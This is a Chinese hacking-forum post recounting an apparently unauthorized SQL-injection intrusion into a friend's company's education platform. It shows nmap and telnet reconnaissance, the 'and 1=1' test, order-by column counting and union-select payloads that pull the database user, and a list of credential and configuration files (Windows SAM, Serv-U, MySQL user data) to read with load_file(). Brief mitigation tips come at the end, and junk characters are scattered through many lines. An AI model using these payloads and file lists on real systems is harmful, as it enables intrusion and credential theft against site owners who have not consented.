找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2365|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:5 ~4 V* ^4 N3 D7 I# y! H8 N
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
/ t8 r, D- C/ M, A3 T第一步:获取需要的信息
4 C& e/ l3 _  ^- s' k由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。- t  }1 J- S! C6 m4 B- A0 ~
注:以下为保护特用XXX代替敏感信息5 r, U3 S  Y% W+ Q5 h: d
顺手先PING了一下他们的域名:! `, V# b. W2 v+ }
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)0 N6 y& P* j5 h# v
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms& v  I/ Z1 E' f0 p( R* w
顺便了解一下TTL,学好基础知识才能一路顺风:; ~5 ?- t1 y2 C* |8 O6 Q9 W) ?' e" m
TTL:(Time To Live ) 生存时间% e$ k+ s- {2 }) x% e. Q; ~. p
指定数据包被路由器丢弃之前允许通过的网段数量。
9 e' c& f: g, V% k$ V" T, bTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。/ Z9 `7 f2 c+ `( {1 f* M
使用PING时涉及到的 ICMP 报文类型
! F% U5 |- e& N: `- E. B+ C3 E一个为ICMP请求回显(ICMP Echo Request)( h+ k. F0 X( r
一个为ICMP回显应答(ICMP Echo Reply)/ [6 T* ?# K( L' Q% N
TTL 字段值可以帮助我们识别操作系统类型。
' H6 q8 a& x9 }, NUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255& S% x! E# z3 s0 |8 ]1 C( X2 y$ @" ]
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64+ {3 K* o6 J- n3 X8 U2 s" T
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128; B% ^! s' o# y2 D  {5 r
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
6 a1 D# J, {. o* u. Z) W) R5 b2 ]" l5 x当然,返回的TTL值是相同的9 f" T: V9 D$ X* f
但有些情况下有所特殊9 b4 x, c# c0 |/ c
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
+ Z( q- @2 w5 X: ~8 JFreeBSD 4.1, 4.0, 3.4;
: O6 l4 |3 t: H3 ^) b% k+ hSun Solaris 2.5.1, 2.6, 2.7, 2.8;
+ d# U, t7 s! O! IOpenBSD 2.6, 2.7,
2 a% v: E8 @: m1 {0 B: ]NetBSD
6 ]/ b: |. C; K( V4 xHP UX 10.20
; p4 M1 i; h  T/ o& T$ `+ tICMP 回显应答的 TTL 字段值为 255
8 b% K0 G" t* AWindows 95/98/98SE
  ~9 L- N+ ?2 Y/ u: m9 c( @Windows ME9 \8 ^( \! @2 P) w) c* T  \% |
ICMP 回显应答的 TTL 字段值为 32
1 H; f; r- P' P' qWindows NT4 WRKS+ c/ V5 X  L3 {! K" ]
Windows NT4 Server
' [, P, Q& o4 N7 j8 j5 R  ?Windows 2000& w, ]% N. A" A$ ~/ {1 A8 ]
Windows XP7 F" `# S1 O7 G- X  Y  C
ICMP 回显应答的 TTL 字段值为 128+ s( Y+ n- N$ P; s9 R
这样,我们就可以通过这种方法来辨别操作系统8 q; n; s" R; i
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255+ h0 k( b2 _1 m5 \0 E
用NMAP扫描一下:
8 u, N8 M. h! e7 O* bnmap -sT -O XXX.XXX.XXX.XXX0 O9 N. r! u1 O( e8 L! y" t1 P
如果没有装WinPcap则会弹出提示:3 F+ J- ?* l  a; I( q' b
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
! R, r2 m, k" q/ S0 J( L1 xade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
3 k: F0 w6 x8 L1 J+ M% C) mode — Nmap may not function completely3 m' |% R* I- k' v8 o& r
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher6 G: ^( \. m9 e$ T0 J+ S1 a! R' ~
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
/ W3 _% S2 R( f& I! }( }& A9 gpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an' E% j, S0 g4 ]+ m7 W4 @0 _2 r
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v% H$ c  a+ ?% r3 D; p9 E! S3 P7 b
ersions, you may be able to take iphlpapi.dll from another system and place it i
% l+ |  ]+ S/ _+ M3 V" qn your system32 dir (e.g. c:\windows\system32).
5 Y* q+ [6 f/ j& P2 s- X' S0 @QUITTING!
9 m- s& P; e; h! W: v" u# A到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
7 o; A. {0 U- A& N. {安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:' H/ E1 `- W7 G/ e/ o
Interesting ports on XXX.XXX.XXX.XXX:! U+ ]/ H/ N* |. S& Z' T. }) f" _
Not shown: 986 closed ports3 o( g) @7 F' L4 `, d. b
PORT     STATE    SERVICE# G5 _! @/ g) z
21/tcp   open     ftp
8 h- u% Q9 Z1 f; o% P4 f) h+ Z22/tcp   open     ssh
" ?9 S3 U7 N' w; M2 a  j6 Q$ L) W4 J23/tcp   open     telnet. j% s  s8 c; I5 A" i' w
80/tcp   open     http
4 I9 T$ A4 o& D1 W! }& W% Y111/tcp  open     rpcbind$ @9 J( q7 ^3 A5 d- C
135/tcp  filtered msrpc" b3 g& y( t8 ]  T; H
139/tcp  filtered netbios-ssn
+ K' ^" H' O- N0 q1 M445/tcp  filtered microsoft-ds5 b) Q* x: ~; L6 l5 x9 J
513/tcp  open     login/ n! A$ m1 e. J/ m! f2 e2 Z: I
514/tcp  open     shell% X5 l6 B3 N' c2 a
593/tcp  filtered http-rpc-epmap7 I% t  v' V8 [2 y9 E: \1 D
1720/tcp filtered H.323/Q.9315 ]! `' x7 G: ]! L# L# I3 |
3306/tcp open     mysql
  s( ]5 J2 U6 D! T1 b( P4444/tcp filtered krb524. D1 a' n, a7 @+ G% p
Device type: WAP
% w/ u; ?2 c7 YRunning: Linux 2.4.X
, g3 O  M+ x- IOS details: DD-WRT (Linux 2.4.35s)
: n0 M3 H4 s: |* M7 zNetwork Distance: 13 hops! ^' y: u4 u& V
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:" @7 ?" X& F) u8 K4 X9 I1 T/ d
login as:
7 Y$ Z/ c3 o, S* n" c: `( QTelnet23端口也是开着的,用telnet 命令链接一下:7 X0 R* w# a' C- N9 Z: I* w
telnet XXX.XXX.XXX.XXX5 I# M# n  v* _$ a* }2 c
提示:4 ?: w' G( H+ J* A& C
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 y! ~: d  {. u( ?. M3 e' RKernel 2.6.18-92.el5PAE on an i686
' Z; e( j1 q8 t* p- zlogin:
8 {) W5 \9 ]" }4 C7 @获取HTTP头信息:
6 _" V0 u5 y- V+ [" t) ^在本地执行如下PHP代码
; @! z5 v1 L, L1 V8 q+ b9 Y8 @' c1 ]<?php( f# H+ |, J# {  G- G. {
$url = ‘XXX.XXX.XXX.XXX’;
% z3 ]- R9 i# ?) W; H, Eprint_r(get_headers($url));
/ D7 U" t9 A1 e/ ~print_r(get_headers($url, 1));
; j" L, X" w" [3 q! ~4 H% J9 U?>
' S# e* s! i- [' `将以上代码保存为PHP文件,执行:( B# E. v. z& Y, u3 U) L
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
/ }) x- J3 J8 a, ]7 A" p4 y9 {: o- V现在可以得出结论:2 z( F, h' g' h; s- F$ ^- l
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
. x1 u4 c7 j0 B& P: U# I# r内核版本:Kernel 2.6.18-92.el5PAE on an i686% a2 D0 U' R) o  ^
WEB服务器版本:nginx/0.7.61: Q7 I$ P- R) I
第二步,开始测试寻找漏洞5 P3 q% o: \% F  F
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
4 \; `7 ^0 f! i; [1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的4 w. ~3 b0 z% `. z" P
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
7 E9 J8 q6 [, J! d! Vhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常; u$ x3 J1 Q; M" x0 n
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
% u: K4 t6 b% f! R恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
; h  M) N" `! B8 n5 ?* v3、手工注入:
, j- q1 X4 a# q  N注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
+ c6 `# c# m4 q- u0 o# h3.1 猜测当前表字段数
2 ~. P! z& E8 g5 m  D2 H0 w0 Fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
7 E; |! e- i" n- P( }- [此处猜测有个简单的算法,都是有技巧的吗,呵呵# g# T( l7 e- q8 l$ c& O- |
算法简单如下:6 C/ B4 F" N' B. W
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;/ Z+ h7 l4 ]8 z& O* O: i
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
2 M1 p( I* H3 o7 S7 P, I7 j需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
9 k. A- p' R% s0 [以此来判断,是否过界,配合取中算法猜出字段数。- p$ H! O7 \) s2 l
举例:) W5 z" X; A* R: h- |- x1 n
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常9 w0 A2 `: k! D" t
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
! b' ^' E. ?4 x( k此时3则为我们要找的字段数。
9 J+ i8 D/ q# ]) {* h5 U! J) c) g3.2 配合union联合查询字段在页面所位置& J8 d+ x" f0 ^' x# O& M4 T
我们已经知道了字段数为3,此时则可以做如下操作:; k. @2 z' P9 f! z; }
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
& ]% W+ K$ n; E1 M3 @5 F4 W- Y9 {  k  q7 g( u+ y
这样就可以测试到哪些字段在页面上有所显示了,如图:
9 H) K$ f- a7 |
1 k% x: x; o5 M: ]$ C; o9 V3.3 查敏感信息
; y2 N7 O5 [" \$ K& d- Z这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
+ I/ s) M  N5 g+ fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
6 w3 J! c9 G& F" ^# {0 P$ p3.3.1 先查数据库用户、数据库名,以备后用,如图:
3 @; ^( Q( W/ a: X3 I! w9 T
3 K4 M& B7 X  L& x/ V; G& T得到数据库用户为root、数据库名为DBxx;! a* s& U+ N$ u( v
3.3.2 查配置文件' J1 F" H( I! M9 _9 U0 s: @
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
  n3 S6 I  ?# ~6 M+ P6 M, i% w* D查看文件有一定的条件限制:, `, i3 ?2 F. x" q% c, D; t
欲读取文件必须在服务器上
+ n5 i1 X5 }% W# R; k7 s必须指定文件完整的路径
, {0 m6 L. C  |, c+ V6 D. c必须有权限读取并且文件必须完全可读% t% b/ e! k& _
欲读取文件必须小于 max_allowed_packet; c5 h$ |3 Y# {' `/ ?, L! T
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。$ X$ ?  @8 ]8 a" P2 o  l" q7 m
常用的一些:* g, m2 f4 d8 n5 y9 v( w# W7 _* s
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件8 s& V4 q& ?- A7 I$ _' p, |% K9 E1 b
/usr/local/apache2/conf/httpd.conf0 i; J9 p. l5 j0 j/ K' ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  a  I( X/ k5 ^
/usr/local/app/php5/lib/php.ini //PHP相关设置
6 t3 r- Q' l6 i* G& S/etc/sysconfig/iptables //从中得到防火墙规则策略% g! x, ~8 b/ X, ?* [
/etc/httpd/conf/httpd.conf // apache配置文件
) W) {4 p" M1 ]/ g/etc/rsyncd.conf //同步程序配置文件
% S' r# Y- |" k! l* v/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
# i/ b0 p) j! J; e1 Y/etc/my.cnf //mysql的配置文件0 P0 C" H6 n4 ~/ h* ~' ]- u+ u) C
/etc/redhat-release //系统版本7 E' P; h) t1 s( y9 b& W0 [# w/ {6 @
/etc/issue
6 {. J( k; r8 L% Q4 P, P/etc/issue.net" a/ ^0 a: s) Y1 X
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
% G5 G" [- J4 z. F& o' Ic:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
+ N# d8 B0 S8 @. x6 p. x+ H* sc:\Program Files\Serv-U\ServUDaemon.ini
3 r' O2 I) X# V$ z# i: r! [c:\windows\my.ini //MYSQL配置文件
; n( u- a# j$ ]" vc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
) K; w9 d$ d' i# T0 g等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,  l9 Y( [) B0 E4 H- W
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
+ I; T& y" i% jc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此7 ~/ K/ O1 g2 K0 Q: E
c:\Program Files\RhinoSoft.com\ServUDaemon.exe) L. _# W- J: b" r9 Y
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件. \0 Z) `$ ?  N5 q8 h( m
//存储了pcAnywhere的登陆密码
1 q. q8 D8 `& d; s9 V+ n- {由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
" t4 ]: f/ B. q% q% @0 t- i这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
. L  f+ W' T! t最后:防范措施- V: B% d. |$ x
1、修复PHP注入漏洞;3 Y' x5 x1 d) f$ A8 B7 _! F
2、Mysql使用普通权限的用户;
4 J) Y- P, C, R( i9 R% I. u3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表